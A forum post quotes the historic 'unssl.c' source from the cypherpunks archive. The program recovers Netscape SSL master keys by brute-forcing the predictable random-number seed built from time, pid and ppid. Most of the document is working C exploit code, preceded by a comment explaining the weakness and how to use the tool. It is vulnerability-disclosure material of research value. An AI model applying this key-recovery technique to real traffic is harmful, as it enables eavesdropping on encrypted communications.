Nope, 'tis true. It turns out that the RNG that Netscape uses for a
seed is rather predictable, and that certain steps weren't taken that
would make this less useful than it is.
Here's probably what you want to see, from the cypherpunks archive:
/* unssl.c - Last update: 950917
Break netscape's shoddy implementation of SSL on some platforms
(tested for netscape running RC4-40 on Solaris and HP-UX; other
Unices are probably similar; other crypt methods are unknown, but
it is likely that RC4-128 will have the same problems).
The idea is this: netscape seeds the random number generator it uses
to produce challenge-data and master keys with a combination of the
time in seconds and microseconds, the pid and the ppid. Of these,
only the microseconds is hard to determine by someone who
(a) can watch your packets on the network and
(b) has access to any account on the system running netscape.
Even if (b) is not satisfied, the time can often be obtained from
the time or daytime network daemons; an approximation to the pid can
sometimes be obtained from a mail daemon (the pid is part of most
Message-ID's); the ppid will usually be not much smaller than the pid,
and has an higher than average chance of being 1. Clever guessing
of these values will in all likelihood cut the expected search space
down to less than brute-forcing a 40-bit key, and certainly is less
than brute-forcing a 128-bit key.
Subsequent https: connections after the first (even to different hosts)
seem to _not_ reseed the RNG. This makes things much easier, once
you've broken the first message. Just keep generating 16 bytes of
random numbers until you get the challenge-data for the next message.
The next key will then be the 16 random bytes after that.
main() and bits of MD5Transform1 by Ian Goldberg <iang@cs.berkeley.edu>
and David Wagner <daw@cs.berkeley.edu>. The rest is taken from the
standard MD5 code; see below.
This code seems to want to run on a big-endian machine. There may be
other problems as well. This code is provided as-is; if it causes you
to lose your data, sleep, civil liberties, or SO, that's your problem.
#include <std/disclaimer.h>
On the command line, give the time in seconds, the pid, the ppid and
the SSL challenge data (each byte in hex, separated by some non-hex
character like a colon) of the _first_ SSL message generated by
the instance of netscape. This program will search through the
microsecond values. You may need to run it again with a slightly
different value for the seconds, depending on how accurately you know
the time on the system running netscape. The output will be the
master key (all 16 bytes; note you never even told the program the
11 bytes you knew) and the value for the microseconds that produced it.
As a benchmark, this code runs in just under 25 seconds real time
(for an unsuccessful search through 1<<20 values for the microseconds)
on an unloaded HP 712/80.
*/
#include <stdio.h>
#include <stdlib.h>
/*
I suppose parts of MD5Transform1 fall under:
portions derived from RSA Data Security, Inc., MD5 message-digest algorithm
Copyright (C) 1991-2, RSA Data Security, Inc. Created 1991. All
rights reserved.
License to copy and use this software is granted provided that it
is identified as the "RSA Data Security, Inc. MD5 Message-Digest
Algorithm" in all material mentioning or referencing this software
or this function.
License is also granted to make and use derivative works provided
that such works are identified as "derived from the RSA Data
Security, Inc. MD5 Message-Digest Algorithm" in all material
mentioning or referencing the derived work.
RSA Data Security, Inc. makes no representations concerning either
the merchantability of this software or the suitability of this
software for any particular purpose. It is provided "as is"
without express or implied warranty of any kind.
These notices must be retained in any copies of any part of this
documentation and/or software.
*/
typedef unsigned int UINT4;
/* Constants for MD5Transform routine.
*/
#define S11 7
#define S12 12
#define S13 17
#define S14 22
#define S21 5
#define S22 9
#define S23 14
#define S24 20
#define S31 4
#define S32 11
#define S33 16
#define S34 23
#define S41 6
#define S42 10
#define S43 15
#define S44 21
/* F, G, H and I are basic MD5 functions.
*/
#define F(x, y, z) (((x) & (y)) | ((~x) & (z)))
#define G(x, y, z) (((x) & (z)) | ((y) & (~z)))
#define H(x, y, z) ((x) ^ (y) ^ (z))
#define I(x, y, z) ((y) ^ ((x) | (~z)))
/* ROTATE_LEFT rotates x left n bits.
*/
#define ROTATE_LEFT(x, n) (((x) << (n)) | ((x) >> (32-(n))))
/* FF, GG, HH, and II transformations for rounds 1, 2, 3, and 4.
Rotation is separate from addition to prevent recomputation.
*/
#define FF(a, b, c, d, x, s, ac) { \
(a) += F ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define GG(a, b, c, d, x, s, ac) { \
(a) += G ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define HH(a, b, c, d, x, s, ac) { \
(a) += H ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
#define II(a, b, c, d, x, s, ac) { \
(a) += I ((b), (c), (d)) + (x) + (UINT4)(ac); \
(a) = ROTATE_LEFT ((a), (s)); \
(a) += (b); \
}
void MD5Transform1(unsigned char state[16], unsigned char block[64])
{
UINT4 a = 0x67452301, b = 0xefcdab89, c = 0x98badcfe, d = 0x10325476, x[16];
unsigned int i,j;
for (i = 0, j = 0; j < 64; i++, j += 4)
x[i] = ((UINT4)block[j]) | (((UINT4)block[j+1]) << 8) |
(((UINT4)block[j+2]) << 16) | (((UINT4)block[j+3]) << 24);
/* Round 1 */
FF (a, b, c, d, x[ 0], S11, 0xd76aa478); /* 1 */
FF (d, a, b, c, x[ 1], S12, 0xe8c7b756); /* 2 */
FF (c, d, a, b, x[ 2], S13, 0x242070db); /* 3 */
FF (b, c, d, a, x[ 3], S14, 0xc1bdceee); /* 4 */
FF (a, b, c, d, x[ 4], S11, 0xf57c0faf); /* 5 */
FF (d, a, b, c, x[ 5], S12, 0x4787c62a); /* 6 */
FF (c, d, a, b, x[ 6], S13, 0xa8304613); /* 7 */
FF (b, c, d, a, x[ 7], S14, 0xfd469501); /* 8 */
FF (a, b, c, d, x[ 8], S11, 0x698098d8); /* 9 */
FF (d, a, b, c, x[ 9], S12, 0x8b44f7af); /* 10 */
FF (c, d, a, b, x[10], S13, 0xffff5bb1); /* 11 */
FF (b, c, d, a, x[11], S14, 0x895cd7be); /* 12 */
FF (a, b, c, d, x[12], S11, 0x6b901122); /* 13 */
FF (d, a, b, c, x[13], S12, 0xfd987193); /* 14 */
FF (c, d, a, b, x[14], S13, 0xa679438e); /* 15 */
FF (b, c, d, a, x[15], S14, 0x49b40821); /* 16 */
/* Round 2 */
GG (a, b, c, d, x[ 1], S21, 0xf61e2562); /* 17 */
GG (d, a, b, c, x[ 6], S22, 0xc040b340); /* 18 */
GG (c, d, a, b, x[11], S23, 0x265e5a51); /* 19 */
GG (b, c, d, a, x[ 0], S24, 0xe9b6c7aa); /* 20 */
GG (a, b, c, d, x[ 5], S21, 0xd62f105d); /* 21 */
GG (d, a, b, c, x[10], S22, 0x2441453); /* 22 */
GG (c, d, a, b, x[15], S23, 0xd8a1e681); /* 23 */
GG (b, c, d, a, x[ 4], S24, 0xe7d3fbc8); /* 24 */
GG (a, b, c, d, x[ 9], S21, 0x21e1cde6); /* 25 */
GG (d, a, b, c, x[14], S22, 0xc33707d6); /* 26 */
GG (c, d, a, b, x[ 3], S23, 0xf4d50d87); /* 27 */
GG (b, c, d, a, x[ 8], S24, 0x455a14ed); /* 28 */
GG (a, b, c, d, x[13], S21, 0xa9e3e905); /* 29 */
GG (d, a, b, c, x[ 2], S22, 0xfcefa3f8); /* 30 */
GG (c, d, a, b, x[ 7], S23, 0x676f02d9); /* 31 */
GG (b, c, d, a, x[12], S24, 0x8d2a4c8a); /* 32 */
/* Round 3 */
HH (a, b, c, d, x[ 5], S31, 0xfffa3942); /* 33 */
HH (d, a, b, c, x[ 8], S32, 0x8771f681); /* 34 */
HH (c, d, a, b, x[11], S33, 0x6d9d6122); /* 35 */
HH (b, c, d, a, x[14], S34, 0xfde5380c); /* 36 */
HH (a, b, c, d, x[ 1], S31, 0xa4beea44); /* 37 */
HH (d, a, b, c, x[ 4], S32, 0x4bdecfa9); /* 38 */
HH (c, d, a, b, x[ 7], S33, 0xf6bb4b60); /* 39 */
HH (b, c, d, a, x[10], S34, 0xbebfbc70); /* 40 */
HH (a, b, c, d, x[13], S31, 0x289b7ec6); /* 41 */
HH (d, a, b, c, x[ 0], S32, 0xeaa127fa); /* 42 */
HH (c, d, a, b, x[ 3], S33, 0xd4ef3085); /* 43 */
HH (b, c, d, a, x[ 6], S34, 0x4881d05); /* 44 */
HH (a, b, c, d, x[ 9], S31, 0xd9d4d039); /* 45 */
HH (d, a, b, c, x[12], S32, 0xe6db99e5); /* 46 */
HH (c, d, a, b, x[15], S33, 0x1fa27cf8); /* 47 */
HH (b, c, d, a, x[ 2], S34, 0xc4ac5665); /* 48 */
/* Round 4 */
II (a, b, c, d, x[ 0], S41, 0xf4292244); /* 49 */
II (d, a, b, c, x[ 7], S42, 0x432aff97); /* 50 */
II (c, d, a, b, x[14], S43, 0xab9423a7); /* 51 */
II (b, c, d, a, x[ 5], S44, 0xfc93a039); /* 52 */
II (a, b, c, d, x[12], S41, 0x655b59c3); /* 53 */
II (d, a, b, c, x[ 3], S42, 0x8f0ccc92); /* 54 */
II (c, d, a, b, x[10], S43, 0xffeff47d); /* 55 */
II (b, c, d, a, x[ 1], S44, 0x85845dd1); /* 56 */
II (a, b, c, d, x[ 8], S41, 0x6fa87e4f); /* 57 */
II (d, a, b, c, x[15], S42, 0xfe2ce6e0); /* 58 */
II (c, d, a, b, x[ 6], S43, 0xa3014314); /* 59 */
II (b, c, d, a, x[13], S44, 0x4e0811a1); /* 60 */
II (a, b, c, d, x[ 4], S41, 0xf7537e82); /* 61 */
II (d, a, b, c, x[11], S42, 0xbd3af235); /* 62 */
II (c, d, a, b, x[ 2], S43, 0x2ad7d2bb); /* 63 */
II (b, c, d, a, x[ 9], S44, 0xeb86d391); /* 64 */
a += 0x67452301;
b += 0xefcdab89;
c += 0x98badcfe;
d += 0x10325476;
/* We need to swap endianness here */
state[0] = ((unsigned char *)&a)[3];
state[1] = ((unsigned char *)&a)[2];
state[2] = ((unsigned char *)&a)[1];
state[3] = ((unsigned char *)&a)[0];
state[4] = ((unsigned char *)&b)[3];
state[5] = ((unsigned char *)&b)[2];
state[6] = ((unsigned char *)&b)[1];
state[7] = ((unsigned char *)&b)[0];
state[8] = ((unsigned char *)&c)[3];
state[9] = ((unsigned char *)&c)[2];
state[10] = ((unsigned char *)&c)[1];
state[11] = ((unsigned char *)&c)[0];
state[12] = ((unsigned char *)&d)[3];
state[13] = ((unsigned char *)&d)[2];
state[14] = ((unsigned char *)&d)[1];
state[15] = ((unsigned char *)&d)[0];
}
#define mklcpr(val) ((0xdeece66d*(val)+0x2bbb62dc)>>1)
int main(int argc, char **argv)
{
int i;
unsigned char maybe_challenge[16], true_challenge[16];
unsigned char key[16];
char *p;
unsigned long sec, usec, pid, ppid;
unsigned char eblock[64], cblock[64];
unsigned char *o1;
int o2;
if (argc == 5 && strlen(argv[4]) >= 47) {
sec = strtol(argv[1], (char **) 0, 0);
pid = strtol(argv[2], (char **) 0, 0);
ppid = strtol(argv[3], (char **) 0, 0);
p = argv[4];
for (i=0; i<16; i++) {
true_challenge[i] = strtol(p, &p, 16);
p++;
}
}
else
{
printf("Usage: %s sec pid ppid "
"00:11:22:33:44:55:66:77:88:99:aa:bb:cc:dd:ee:ff\n", argv[0]);
exit(1);
}
/* Set up eblock and cblock */
for(i=0;i<64;++i) eblock[i]=0;
eblock[8] = 0x80;
eblock[56] = 0x40;
for(i=0;i<64;++i) cblock[i]=0;
cblock[16] = 0x80;
cblock[56] = 0x80;
((int *)eblock)[1] = mklcpr(pid+sec+(ppid<<12));
for (usec=0; usec < (1<<20); usec++) {
((int *)eblock)[0] = mklcpr(usec);
MD5Transform1(cblock, eblock);
o2 = 0;
o1 = &(cblock[0x0f]);
do {
if ((*o1)++) break;
--o1;
} while (++o2 <= 0x0f);
o2 = 0;
o1 = &(cblock[0x0f]);
do {
if ((*o1)++) break;
--o1;
} while (++o2 <= 0x0f);
MD5Transform1(maybe_challenge, cblock);
if (memcmp(maybe_challenge, true_challenge, 0x10) == 0) {
printf("Found it! The key is ");
o2 = 0;
o1 = &(cblock[0x0f]);
do {
if ((*o1)++) break;
--o1;
} while (++o2 <= 0x0f);
MD5Transform1(key, cblock);
for (i=0; i<0x10; i++)
printf("%2.2X ", (unsigned char) key[i]);
printf("\n");
printf("usec = %lu\n", usec);
exit(0);
}
}
printf("Not found.\n");
exit(1);
}